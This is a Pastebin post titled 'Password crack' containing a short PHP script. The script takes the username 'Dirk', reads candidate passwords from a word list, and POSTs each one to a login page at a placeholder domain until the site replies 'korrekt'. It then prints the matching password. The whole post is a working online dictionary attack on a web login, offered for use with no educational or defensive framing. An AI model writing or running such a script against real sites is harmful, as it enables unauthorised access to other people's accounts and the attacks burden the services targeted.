Futz

Password crack

Nov 28th, 2019
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.67 KB | None | 0 0
  1. <?php
  2.  
  3. $url = 'https://www.xxx.de/login.php';
  4.  
  5. $file = 'passwords.txt';
  6.  
  7. $user = 'Dirk';
  8.  
  9. // ------------------------------
  10.  
  11. $file_handle = fopen($file, 'r');
  12.  
  13. while (!feof($file_handle)) {
  14.  
  15.     $password = fgets($file_handle);
  16.  
  17.     $data = array( 
  18.         'user' => $user,
  19.         'password' => $password
  20.     );
  21.  
  22.     $options = array(
  23.         'http' => array(
  24.             'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
  25.             'method'  => 'POST',
  26.             'content' => http_build_query($data)
  27.         )
  28.     );
  29.  
  30.     $context  = stream_context_create($options);
  31.  
  32.     $result = file_get_contents($url, false, $context);
  33.  
  34.     if($result == 'korrekt'){
  35.         echo $password;
  36.         exit();
  37.     }
  38.  
  39. }
  40.  
  41. ?>
Add Comment
Please, Sign In to add comment